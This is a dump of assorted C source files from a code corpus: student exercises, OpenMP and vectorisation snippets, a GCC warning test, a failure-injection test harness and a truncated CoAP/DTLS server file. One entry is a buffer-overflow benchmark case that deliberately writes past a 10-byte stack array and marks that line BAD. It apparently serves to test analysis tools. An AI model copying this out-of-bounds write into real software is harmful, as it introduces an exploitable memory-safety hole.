file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
|---|---|
the_stack_data/115765422.c | #include <stdio.h>
int main()
{
float celsius,fahrenheit;
printf("Enter the value of celsius : ");
scanf("%f",&celsius);
fahrenheit=(celsius*9/5)+32;
printf("%.2f celsius=%.2f fahrenheit",celsius,fahrenheit);
return 0;
}
|
the_stack_data/122016000.c | /* Taxonomy Classification: 0000000000000153000100 */
/*
* WRITE/READ 0 write
* WHICH BOUND 0 upper
* DATA TYPE 0 char
* MEMORY LOCATION 0 stack
* SCOPE 0 same
* CONTAINER 0 no
* POINTER 0 no
* INDEX COMPLEXITY 0 constant
* ADDRESS COMPLEXITY 0 constant
* LENGTH COMPLEXITY 0 N/A
* ADDRESS ALIAS 0 none
* INDEX ALIAS 0 none
* LOCAL CONTROL FLOW 0 none
* SECONDARY CONTROL FLOW 1 if
* LOOP STRUCTURE 5 non-standard do-while
* LOOP COMPLEXITY 3 two
* ASYNCHRONY 0 no
* TAINT 0 no
* RUNTIME ENV. DEPENDENCE 0 no
* MAGNITUDE 1 1 byte
* CONTINUOUS/DISCRETE 0 discrete
* SIGNEDNESS 0 no
*/
/*
Copyright 2005 Massachusetts Institute of Technology
All rights reserved.
Redistribution and use of software in source and binary forms, with or without
modification, are permitted provided that the following conditions are met.
- Redistributions of source code must retain the above copyright notice,
this set of conditions and the disclaimer below.
- Redistributions in binary form must reproduce the copyright notice, this
set of conditions, and the disclaimer below in the documentation and/or
other materials provided with the distribution.
- Neither the name of the Massachusetts Institute of Technology nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS".
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
int main(int argc, char *argv[])
{
int test_value;
int inc_value;
int loop_counter;
char buf[10];
test_value = 10;
inc_value = 10 - (10 - 1);
loop_counter = 0;
do
{
/* BAD */
buf[10] = 'A';
if (loop_counter >= test_value) break;
}
while(loop_counter += inc_value);
return 0;
}
|
the_stack_data/62544.c | // Exemplo de estrutura condicional if
#include <stdio.h>
#include <stdbool.h>
int main(void)
{
bool pizzaSaudavel;
int temp;
printf("Você acredita no poder da pizza? (1 para V 0 para F) ");
scanf("%d", &temp);
// pizzSaudavel recebe o valor digitado pelo usuário
pizzaSaudavel = temp;
// Analisa a condição
if(pizzaSaudavel)
{
printf("Pizza é saúdavel\n");
}
return 0;
}
|
the_stack_data/45202.c | #include <omp.h>
#include <stdio.h>
#include <stdlib.h>
#define N 1024
int main()
{
float *a, *b, *c, *d;
int i;
a = (float*)malloc(N*sizeof(float));
b = (float*)malloc(N*sizeof(float));
c = (float*)malloc(N*sizeof(float));
d = (float*)malloc(N*sizeof(float));
// initialize a, b, c, and d (code not shown)
#pragma omp target data map(to:a[0:N],b[0:N],c[0:N]) map(tofrom:d[0:N])
{
#pragma omp target
#pragma omp teams distribute parallel for simd
for (i = 0; i < N; i++)
c[i] += a[i] * b[i];
#pragma omp target
#pragma omp teams distribute parallel for simd
for (i = 0; i < N; i++)
d[i] += a[i] + c[i];
}
// continue in the program but only using d (not c)
}
|
the_stack_data/104827683.c | // Simple example of how to cause nicely vectorized code to be generated.
#define SIZE 100
void test4(double * restrict a, double * restrict b)
{
int i;
double *x = __builtin_assume_aligned(a, 16);
double *y = __builtin_assume_aligned(b, 16);
for (i = 0; i < SIZE; i++)
{
x[i] += y[i];
}
}
|
the_stack_data/232954997.c | /*
Lista de Exercícios 01
Exercício 08
Autor: Murilo Carvalho
*/
#include <stdio.h>
int main(){
/*
Elabore um algoritmo que calcule e
apresente a quantidade de galões cheios de 5 litros de combustível necessário em uma viagem.
Sabe-se que um automóvel faz 12Km/l.
O usuário fornecerá o tempo gasto e a velocidade média na viagem.
*/
int qntdGaloes = 0;
float tempoViagem = 0.0;
float velocidadeViagem = 0.0;
float distanciaViagem = 0.0;
printf("***** Quantidade de Galoes para Viagem *****");
printf("\n");
printf("Por favor, informe o tempo gasto na viagem (horas):");
scanf("%f",&tempoViagem);
printf("Agora informa a velocidade media do veiculo (km/h):");
scanf("%f",&velocidadeViagem);
distanciaViagem = tempoViagem * velocidadeViagem;
//consumo = distanciaViagem/12;
qntdGaloes = (distanciaViagem/12)/5;
printf("Quantidade de galoes cheios de 5L necessarios: %d", qntdGaloes);
return 0;
}
|
the_stack_data/101527.c | // SPDX-License-Identifier: MIT
/* Copyright (C) 2020, Logan Gunthorpe */
#define _GNU_SOURCE
#include <asm/unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
static int test_fd(void *x)
{
ssize_t rd;
int fd;
fd = open("/dev/zero", O_RDWR);
if (fd == -1) {
perror("Unable to open /dev/zero");
return 1;
}
rd = read(fd, x, 50);
if (rd < 0) {
perror("Failed to read /dev/zero");
return 1;
}
rd = write(fd, x, 50);
if (rd < 0) {
perror("Failed to write /dev/zero");
close(fd);
close(819);
return 1;
}
close(fd);
return 0;
}
static int test_openat(void)
{
int val, fd, ret;
ssize_t rd;
fd = openat(AT_FDCWD, "/dev/urandom", O_RDONLY);
if (fd == -1) {
perror("Unable to open /dev/urandom");
return 1;
}
rd = read(fd, &val, sizeof(val));
if (rd != sizeof(val)) {
perror("Could not read /dev/urandom");
return 1;
}
srand(val);
ret = close(fd);
if (ret) {
perror("Error closing /dev/urandom");
return 1;
}
return 0;
}
static int test_stdio(void *x)
{
char *line = NULL;
size_t len;
ssize_t cnt;
FILE *f;
int ret;
f = fopen("/dev/null", "w+");
if (!f) {
perror("Unable to open /dev/null");
return 1;
}
cnt = fwrite(x, 1, 50, f);
if (cnt != 50) {
perror("Unable to write to /dev/null");
return 1;
}
cnt = fread(x, 1, 50, f);
if (cnt != 50 && ferror(f)) {
perror("Unable to read from /dev/null");
clearerr(f);
return 1;
}
cnt = fscanf(f, "abc\n");
if (cnt == EOF && ferror(f)) {
perror("Unable to fscan from /dev/null");
clearerr(f);
return 1;
}
errno = 0;
cnt = getline(&line, &len, f);
if (cnt < 0 && errno) {
perror("getline failure");
free(line);
return 1;
}
free(line);
line = NULL;
errno = 0;
cnt = getdelim(&line, &len, ';', f);
if (cnt < 0 && errno) {
perror("getdelim failure");
free(line);
return 1;
}
free(line);
ret = fflush(f);
if (ret == EOF) {
perror("Error while flushing to /dev/null");
return 1;
}
ret = fclose(f);
if (ret == EOF) {
ret = 1;
perror("Error while to closing /dev/null");
}
return ret;
}
static volatile int test_scanf(void)
{
const char test[] = "Hello: 12345\n";
int rc, x;
rc = sscanf(test, "Hello: %d", &x);
if (rc != 1) {
perror("sscanf failed");
return 1;
}
return 0;
}
static int test_fcloseall(void)
{
FILE *a, *b;
int ret;
a = fopen("/dev/urandom", "rb");
if (!a) {
perror("Unable to open /dev/urandom");
return 1;
}
b = fopen("/dev/random", "rb");
if (!b) {
perror("Unable to open /dev/random");
return 1;
}
(void)a;
(void)b;
ret = fcloseall();
if (ret) {
perror("Error while closing all files");
return 1;
}
return 0;
}
static int test_fmemopen(void)
{
char buf[4096];
FILE *f;
int ret;
f = fmemopen(buf, sizeof(buf), "w");
if (!f) {
perror("Unable to open memory FILE");
return 1;
}
ret = fclose(f);
if (ret == EOF) {
perror("Failure closing memory FILE");
return 1;
}
return 0;
}
static int test_tmpfile(void)
{
FILE *f;
int ret;
f = tmpfile();
if (!f) {
perror("Unable to open temporary FILE");
return 1;
}
ret = fclose(f);
if (ret == EOF) {
perror("Failure closing temporary FILE");
return 1;
}
return 0;
}
static int test_creat_fdopen(void)
{
int fd, ret = 0;
char tmpn[128];
FILE *f;
snprintf(tmpn, sizeof(tmpn), "/tmp/failinj%d", rand());
fd = creat(tmpn, 0600);
if (fd == -1) {
ret = 1;
perror("Unable to creat temporary file");
goto out;
}
f = fdopen(fd, "wb");
if (!f) {
ret = 1;
close(fd);
perror("Unable to fdopen temporary file");
goto out;
}
ret = fclose(f);
if (ret == EOF) {
ret = 1;
perror("Failure closing temporary FILE");
goto out;
}
out:
unlink(tmpn);
return ret;
}
static int test_realloc(void)
{
size_t sz = 1024;
void *x, *y;
x = calloc(sz, 1);
if (!x) {
perror("Unable to calloc memory");
return 1;
}
memset(x, 0xAA, sz);
y = realloc(x, 2048);
if (!y) {
perror("Unable to realloc memory");
free(x);
return 1;
}
x = y;
y = reallocarray(x, sz, 4);
if (!y) {
perror("Unable to reallocarray memory");
free(x);
return 1;
}
x = y;
free(x);
return 0;
}
static int test_mmap(void)
{
const size_t sz = 4096;
void *x;
int rc;
x = mmap(NULL, sz, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (x == MAP_FAILED) {
perror("Unable to mmap memory");
return 1;
}
rc = mprotect(x, sz, PROT_READ | PROT_EXEC);
if (rc) {
perror("mprotect failed");
return 1;
}
munmap(x, sz);
return 0;
}
static int test_syscall(void)
{
int rc;
rc = syscall(__NR_sync);
if (rc == -1) {
perror("sync failed");
return 1;
}
return 0;
}
__attribute__ ((noinline))
static int test_ignore_leak(void)
{
void *x, *y;
x = malloc(32);
if (!x) {
perror("Unable to allocate leaked memory");
return 1;
}
y = malloc(32);
if (!y) {
perror("Unable to allocate ignored leak memory");
return 1;
}
free(y);
free(x);
return 0;
}
__attribute__ ((noinline))
static int test_skip_failure(void)
{
void *x;
x = malloc(32);
if (!x) {
perror("Unable to allocate skipped malloc");
return 1;
}
free(x);
return 0;
}
/* Insert a large number of objects to ensure the hash table works */
static int test_hash_table(void)
{
const int count = 16;
void *memory[count];
int i, ret = 0;
for (i = 0; i < count; i++) {
memory[i] = malloc(32);
if (!memory[i]) {
ret = 1;
break;
}
}
for (i--; i >= 0; i--)
free(memory[i]);
return ret;
}
int main(int argc, char *argv[])
{
void *x, *y;
int ret;
x = malloc(50);
if (!x) {
/*
* Due to the intentional segfault, these lines will not appear
* to be covered (LCOV_EXCL_START)
*/
perror("x allocation failed");
if (argc == 1)
printf("This will segfault: %d\n", *((unsigned char *)x));
return 1;
/* LCOV_EXCL_STOP */
}
y = malloc(50);
if (!y) {
perror("y allocation failed");
return 1;
}
ret = test_fd(x);
if (ret)
goto out;
ret = test_openat();
if (ret)
goto out;
ret = test_stdio(x);
if (ret)
goto out;
ret = test_scanf();
if (ret)
goto out;
ret = test_fmemopen();
if (ret)
goto out;
ret = test_tmpfile();
if (ret)
goto out;
ret = test_creat_fdopen();
if (ret)
goto out;
ret = test_realloc();
if (ret)
goto out;
ret = test_mmap();
if (ret)
goto out;
ret = test_syscall();
if (ret)
goto out;
ret = test_ignore_leak();
if (ret)
goto out;
ret = test_skip_failure();
if (ret)
goto out;
ret = test_hash_table();
if (ret)
goto out;
out:
free(y);
free(x);
if (!ret) {
printf("OK\n");
ret = test_fcloseall();
}
return ret;
}
|
the_stack_data/126261.c | #include <stdlib.h>
#include <sys/time.h>
// Returns the current system time in microseconds
long long get_time() {
struct timeval tv;
gettimeofday(&tv, NULL);
return (tv.tv_sec * 1000000) + tv.tv_usec;
}
|
the_stack_data/93887954.c | /*
* Our first program will print the classic 'hello world' message.
* Here’s the full source code.
*/
#include <stdio.h>
int main() {
printf("hello world\n");
return 0;
}
|
the_stack_data/1237759.c | #include <stdio.h>
#define ADD(a, b, c) ((a) + (b) + (c))
#define MUL(a, b, c) ((a) * (b) * (c))
#define PI 3.141592
#define AREA(r) ((r) * (r) * PI)
#define MAX(a, b) ((a) > (b)? (a) : (b))
int sub_26_c(void) {
//q26_1_1();
//q26_1_2();
q26_1_3();
return 0;
}
int q26_1_1(void) {
printf("%d %d\n", ADD(1, 2, 3), MUL(2,2,3));
return 0;
}
int q26_1_2(void) {
printf("%f\n", AREA(3));
return 0;
}
int q26_1_3(void) {
printf("%d\n", MAX(3, 4));
return 0;
} |
the_stack_data/100140261.c | #include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
int num = atoi(argv[1]);
if (num >= 4000)
{
puts("numero maior igual a 4000 --> invalido");
}
else if (num > 0)
{
}
return 0;
} |
the_stack_data/126703977.c | /* { dg-options "-Wparentheses -ftrack-macro-expansion=0" } */
#ifndef __cplusplus
#define bool _Bool
#endif
extern void f2 (int);
void bar (int x, int y, int z, bool b)
{
#define T(op) f2 (x op y ? : 1)
#define T2(op) f2 (x op y ? 2 : 1)
T(<); /* { dg-warning "omitted middle operand" } */
T(>); /* { dg-warning "omitted middle operand" } */
T(<=); /* { dg-warning "omitted middle operand" } */
T(>=); /* { dg-warning "omitted middle operand" } */
T(==); /* { dg-warning "omitted middle operand" } */
T(!=); /* { dg-warning "omitted middle operand" } */
T(||); /* { dg-warning "omitted middle operand" } */
T(&&); /* { dg-warning "omitted middle operand" } */
f2 (!x ? : 1); /* { dg-warning "omitted middle operand" } */
f2 ((x,!x) ? : 1); /* { dg-warning "omitted middle operand" } */
f2 ((x,y,!x) ? : 1); /* { dg-warning "omitted middle operand" } */
T2(<); /* { dg-bogus "omitted middle operand" } */
T2(>); /* { dg-bogus "omitted middle operand" } */
T2(==); /* { dg-bogus "omitted middle operand" } */
T2(||); /* { dg-bogus "omitted middle operand" } */
T2(&&); /* { dg-bogus "omitted middle operand" } */
T(+); /* { dg-bogus "omitted middle operand" } */
T(-); /* { dg-bogus "omitted middle operand" } */
T(*); /* { dg-bogus "omitted middle operand" } */
T(/); /* { dg-bogus "omitted middle operand" } */
T(^); /* { dg-bogus "omitted middle operand" } */
f2 (b ? : 1); /* { dg-warning "omitted middle operand" } */
}
|
the_stack_data/92324203.c | /*
*
* Copyright (C) 2019-2020, Broadband Forum
* Copyright (C) 2017-2020 CommScope, Inc
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
* THE POSSIBILITY OF SUCH DAMAGE.
*
*/
/**
* \file coap_server.c
*
* Implements the server portion of Constrained Application Protocol transport for USP
*
*/
#ifdef ENABLE_COAP // NOTE: This isn't strictly necessary as this file is not included in the build if CoAP is disabled
#include <stdlib.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <net/if.h>
#include <openssl/ssl.h>
#include <openssl/bio.h>
#include <openssl/err.h>
#include <openssl/rand.h>
#include <openssl/opensslv.h>
#include "common_defs.h"
#include "usp_coap.h"
#include "usp_api.h"
#include "usp-msg.pb-c.h"
#include "msg_handler.h"
#include "os_utils.h"
#include "dllist.h"
#include "dm_exec.h"
#include "retry_wait.h"
#include "usp_coap.h"
#include "text_utils.h"
#include "nu_ipaddr.h"
#include "iso8601.h"
#include "usp-record.pb-c.h"
//------------------------------------------------------------------------
// Structure storing the last CoAP response PDU sent. Used to send the same response
typedef struct
{
int message_id; // CoAP message id of the last received PDU that was handled.
unsigned char *pdu_data; // Response that was sent when the last PDU was handled
int len; // Length (in bytes) of the response in pdu_data[]
} pdu_response_t;
//------------------------------------------------------------------------
// Structure representing a CoAP server session
typedef struct
{
int socket_fd; // Socket that we are listening on for USP messages from a controller or INVALID if this slot is not in use
int index; // Index of session in sessions[] array of coap_server_t structure. Used only for debug
SSL *ssl; // SSL connection object used for this CoAP server
BIO *rbio; // SSL BIO used to read DTLS packets
BIO *wbio; // SSL BIO used to write DTLS packets
bool is_first_usp_msg; // Set if this is the first USP request message received since the server was reset.
// This is used as a hint to reset our CoAP client sending the USP response
// (because the request was received on a new DTLS session, the response will likely need to be too)
STACK_OF(X509) *cert_chain; // Full SSL certificate chain for the CoAP connection, collected in the SSL verify callback
char *allowed_controllers; // pattern describing the endpoint_id of controllers which is granted access to this agent
ctrust_role_t role; // role granted by the CA cert in the chain of trust with the CoAP client
nu_ipaddr_t peer_addr; // Current peer that sent the first block. Whilst building up a USP Record, only PDUs from this peer are accepted
uint16_t peer_port; // Port that peer is using to communicate with us
unsigned char token[8]; // Token received in the first block. The server must use the same token for the rest of the blocks.
int token_size;
int block_count; // Count of number of blocks received for the current USP message (ie for current CoAP message token)
int block_size; // Size of the blocks being received. The server must use the same size of all of the blocks making up a USP record.
int last_block_time; // Time at which the last block was received
unsigned char *usp_buf; // Pointer to buffer in which the payload is appended, to form the full USP record
int usp_buf_len; // Length of the USP record buffer
pdu_response_t last_response; // Last CoAP PDU response sent. Used to send the same response if we receive the same CoAP request PDU again
} coap_server_session_t;
//------------------------------------------------------------------------
// Structure representing the CoAP servers that USP Agent exports
typedef struct
{
int instance; // Instance number of the CoAP server in Device.LocalAgent.MTP.{i}, or INVALID if this slot is unused
char interface[IFNAMSIZ]; // Name of network interface that this server if listening to ("any" represents all interfaces)
char listen_addr[NU_IPADDRSTRLEN]; // IP address of network interface that this CoAP server is listening on
int listen_port; // Port that this server is listening on
char *listen_resource; // Name of our resource that the controller sends to
bool enable_encryption; // Set if encryption is enabled for this server
int listen_sock; // Socket listening for new connections, this socket will get moved to one of the CoAP
// sessions when a new packet is received, and a new listening socket will take its place
coap_server_session_t sessions[MAX_COAP_SERVER_SESSIONS]; // concurrent communication sessions with this server
} coap_server_t;
coap_server_t coap_servers[MAX_COAP_SERVERS];
//------------------------------------------------------------------------------------
// SSL context for CoAP (created for use with DTLS)
SSL_CTX *coap_server_ssl_ctx = NULL;
//------------------------------------------------------------------------------
// Defines to support OpenSSL's change of API signature for SSL_CTX_set_cookie_verify_cb() between different OpenSSL versions
#if OPENSSL_VERSION_NUMBER >= 0x1010000FL // SSL version 1.1.0
#define SSL_CONST const
#else
#define SSL_CONST
#endif
//------------------------------------------------------------------------------
// Buffer containing the random secret that our CoAP server puts into cookies
static unsigned char coap_hmac_key[16];
//------------------------------------------------------------------------------
// Variables associated with determining whether the listening IP address of our CoAP server has changed (used by UpdateCoapServerInterfaces)
static time_t next_coap_server_if_poll_time = 0; // Absolute time at which to next poll for IP address change
//------------------------------------------------------------------------------
// Forward declarations. Note these are not static, because we need them in the symbol table for USP_LOG_Callstack() to show them
int StartCoapListenSock(coap_server_t *cs);
void InitCoapSession(coap_server_session_t *css);
coap_server_session_t *FindCoapSession(coap_server_t *cs, nu_ipaddr_t *peer_addr);
void ReceiveCoapBlock(coap_server_t *cs, coap_server_session_t *css);
void StartCoapSession(coap_server_t *cs);
void StopCoapSession(coap_server_session_t *css);
void FreeReceivedUspRecord(coap_server_session_t *css);
unsigned CalcCoapServerActions(coap_server_t *cs, coap_server_session_t *css, parsed_pdu_t *pp);
unsigned HandleFirstCoapBlock(coap_server_t *cs, coap_server_session_t *css, parsed_pdu_t *pp);
unsigned HandleSubsequentCoapBlock(coap_server_t *cs, coap_server_session_t *css, parsed_pdu_t *pp);
unsigned AppendCoapPayload(coap_server_session_t *css, parsed_pdu_t *pp);
int GetPeerAddr(int sock, nu_ipaddr_t *peer_addr, uint16_t *peer_port);
bool IsReplyToValid(coap_server_session_t *css, parsed_pdu_t *pp);
int SendCoapRstFromServer(coap_server_session_t *css, parsed_pdu_t *pp);
int SendCoapAck(coap_server_session_t *css, parsed_pdu_t *pp, unsigned action_flags);
int WriteCoapAck(unsigned char *buf, int len, parsed_pdu_t *pp, unsigned action_flags);
void SaveLastResponsePdu(pdu_response_t *last_resp, int message_id, unsigned char *buf, int len);
coap_server_t *FindUnusedCoapServer(void);
coap_server_t *FindCoapServerByInstance(int instance, char *interface);
coap_server_t *FindFirstCoapServerByInterface(char *interface, bool encryption_preference);
void CalcCoapClassForAck(parsed_pdu_t *pp, unsigned action_flags, int *pdu_class, int *response_code);
void LogRxedCoapPdu(parsed_pdu_t *pp);
int UpdateCoapServerInterfaces(void);
int PerformSessionDtlsConnect(coap_server_session_t *css);
int CalcCoapServerCookie(SSL *ssl, unsigned char *buf, unsigned int *p_len);
int VerifyCoapServerCookie(SSL *ssl, SSL_CONST unsigned char *buf, unsigned int len);
/*********************************************************************//**
**
** COAP_SERVER_Init
**
** Initialises this component
**
** \param None
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int COAP_SERVER_Init(void)
{
int i;
coap_server_t *cs;
// Initialise the CoAP server array
memset(coap_servers, 0, sizeof(coap_servers));
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
cs->instance = INVALID;
}
return USP_ERR_OK;
}
/*********************************************************************//**
**
** COAP_SERVER_InitStart
**
** Creates the SSL contexts used by this module
**
** \param None
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int COAP_SERVER_InitStart(void)
{
int result;
// Calculate a random hmac key which will be used by our CoAP server when generating DTLS cookies
result = RAND_bytes(coap_hmac_key, sizeof(coap_hmac_key));
if (result != 1)
{
USP_LOG_Error("%s: RAND_bytes() failed", __FUNCTION__);
return USP_ERR_INTERNAL_ERROR;
}
// Create the DTLS server SSL context with trust store and client cert loaded
coap_server_ssl_ctx = DEVICE_SECURITY_CreateSSLContext(DTLS_server_method(),
SSL_VERIFY_PEER | SSL_VERIFY_CLIENT_ONCE /*| SSL_VERIFY_FAIL_IF_NO_PEER_CERT*/,
DEVICE_SECURITY_TrustCertVerifyCallback);
if (coap_server_ssl_ctx == NULL)
{
return USP_ERR_INTERNAL_ERROR;
}
// Set the DTLS cookie functions for the CoAP server (only the server uses these)
SSL_CTX_set_cookie_generate_cb(coap_server_ssl_ctx, CalcCoapServerCookie);
SSL_CTX_set_cookie_verify_cb(coap_server_ssl_ctx, VerifyCoapServerCookie);
SSL_CTX_set_session_cache_mode(coap_server_ssl_ctx, SSL_SESS_CACHE_OFF);
return USP_ERR_OK;
}
/*********************************************************************//**
**
** COAP_SERVER_Destroy
**
** Frees all memory used by this component
**
** \param None
**
** \return None
**
**************************************************************************/
void COAP_SERVER_Destroy(void)
{
int i;
coap_server_t *cs;
// Free all CoAP servers
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if (cs->instance != INVALID)
{
COAP_SERVER_Stop(cs->instance, cs->interface, NULL);
}
}
}
/*********************************************************************//**
**
** COAP_SERVER_Start
**
** Starts a CoAP Server on the specified interface and port
**
** \param instance - instance number in Device.LocalAgent.MTP.{i} for this server
** \param interface - Name of network interface to listen on ("any" indicates listen on all interfaces)
** \param config - Configuration for CoAP server: port, resource and whether encryption is enabled
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int COAP_SERVER_Start(int instance, char *interface, coap_config_t *config)
{
int j;
coap_server_t *cs;
coap_server_session_t *css;
int err = USP_ERR_OK;
COAP_LockMutex();
// Exit if MTP thread has exited
if (is_coap_mtp_thread_exited)
{
COAP_UnlockMutex();
return USP_ERR_OK;
}
USP_ASSERT(FindCoapServerByInstance(instance, interface)==NULL);
// Exit if unable to find a free CoAP server slot
cs = FindUnusedCoapServer();
if (cs == NULL)
{
USP_LOG_Error("%s: Out of CoAP servers when trying to add CoAP server for interface=%s, port %d", __FUNCTION__, interface, config->port);
err = USP_ERR_RESOURCES_EXCEEDED;
goto exit;
}
// Initialise the coap server structure, marking it as in-use
memset(cs, 0, sizeof(coap_server_t));
cs->instance = instance;
USP_STRNCPY(cs->interface, interface, sizeof(cs->interface));
cs->listen_port = config->port;
cs->listen_resource = USP_STRDUP(config->resource);
cs->enable_encryption = config->enable_encryption;
// Mark all sockets and CoAP sessions as not in use yet
cs->listen_sock = INVALID;
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
css->socket_fd = INVALID;
css->index = j;
}
USP_LOG_Info("%s: Starting CoAP server on interface=%s, port=%d (%s), resource=%s", __FUNCTION__, interface, cs->listen_port, IS_ENCRYPTED_STRING(cs->enable_encryption), cs->listen_resource);
// Start the server, ignoring any errors, as UpdateCoapServerInterfaces() will retry later
(void)StartCoapListenSock(cs);
err = USP_ERR_OK;
exit:
COAP_UnlockMutex();
// Cause the MTP thread to wakeup from select() so that timeouts get recalculated based on the new state
// We do this outside of the mutex lock to avoid an unnecessary task switch
if (err == USP_ERR_OK)
{
MTP_EXEC_CoapWakeup();
}
return err;
}
/*********************************************************************//**
**
** COAP_SERVER_Stop
**
** Stops all matching CoAP Servers
** NOTE: It is safe to call this function, if the instance has already been stopped
**
** \param instance - instance number in Device.LocalAgent.MTP.{i} for this server
** \param interface - Name of network interface to listen on ("any" indicates listen on all interfaces)
** \param unused - input argumentto make the signature of this function the same as COAP_StartServer
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int COAP_SERVER_Stop(int instance, char *interface, coap_config_t *unused)
{
int i;
coap_server_t *cs;
coap_server_session_t *css;
USP_LOG_Info("%s: Stopping CoAP server [%d]", __FUNCTION__, instance);
(void)unused; // Prevent compiler warnings about unused variables
COAP_LockMutex();
// Exit if MTP thread has exited
if (is_coap_mtp_thread_exited)
{
COAP_UnlockMutex();
return USP_ERR_OK;
}
// Exit if the Coap server has already been stopped - nothing more to do
cs = FindCoapServerByInstance(instance, interface);
if (cs == NULL)
{
COAP_UnlockMutex();
return USP_ERR_OK;
}
// Free all dynamically allocated buffers
USP_SAFE_FREE(cs->listen_resource);
// Close all session sockets and any associated SSL, BIO objects and buffers
for (i=0; i<MAX_COAP_SERVER_SESSIONS; i++)
{
css = &cs->sessions[i];
StopCoapSession(css);
}
// Put back to init state
memset(cs, 0, sizeof(coap_server_t));
cs->instance = INVALID;
COAP_UnlockMutex();
// Cause the MTP thread to wakeup from select() so that timeouts get recalculated based on the new state
// We do this outside of the mutex lock to avoid an unnecessary task switch
MTP_EXEC_CoapWakeup();
return USP_ERR_OK;
}
/*********************************************************************//**
**
** COAP_SERVER_GetStatus
**
** Function called to get the value of Device.LocalAgent.MTP.{i}.Status
**
** \param instance - instance number in Device.LocalAgent.MTP.{i} for this server
**
** \return Status of this CoAP server
**
**************************************************************************/
mtp_status_t COAP_SERVER_GetStatus(int instance)
{
coap_server_t *cs;
mtp_status_t status;
COAP_LockMutex();
// Exit if MTP thread has exited
if (is_coap_mtp_thread_exited)
{
COAP_UnlockMutex();
return kMtpStatus_Down;
}
// Exit if we cannot find a CoAP server with this instance - creation of the server had previously failed
cs = FindCoapServerByInstance(instance, NULL);
if (cs == NULL)
{
status = kMtpStatus_Down;
goto exit;
}
// If creation of the server had previously completed, then this CoAP server is up and running
status = kMtpStatus_Up;
exit:
COAP_UnlockMutex();
return status;
}
/*********************************************************************//**
**
** COAP_SERVER_UpdateAllSockSet
**
** Updates the set of all COAP socket fds to read/write from
**
** \param set - pointer to socket set structure to update with sockets to wait for activity on
**
** \return None
**
**************************************************************************/
void COAP_SERVER_UpdateAllSockSet(socket_set_t *set)
{
int i, j;
coap_server_t *cs;
coap_server_session_t *css;
int timeout; // timeout in milliseconds
// Determine whether IP address of any of CoAP servers has changed (if time to poll it)
timeout = UpdateCoapServerInterfaces();
SOCKET_SET_UpdateTimeout(timeout*SECONDS, set);
// Iterate over all CoAP servers
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if (cs->instance != INVALID)
{
// Add the socket listening for new connections
if (cs->listen_sock != INVALID)
{
SOCKET_SET_AddSocketToReceiveFrom(cs->listen_sock, MAX_SOCKET_TIMEOUT, set);
}
// Iterate over all existing sessions on this interface
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
if (css->socket_fd != INVALID)
{
SOCKET_SET_AddSocketToReceiveFrom(css->socket_fd, MAX_SOCKET_TIMEOUT, set);
}
}
}
}
}
/*********************************************************************//**
**
** COAP_SERVER_ProcessAllSocketActivity
**
** Processes the socket for the specified controller
**
** \param set - pointer to socket set structure containing the sockets which need processing
**
** \return Nothing
**
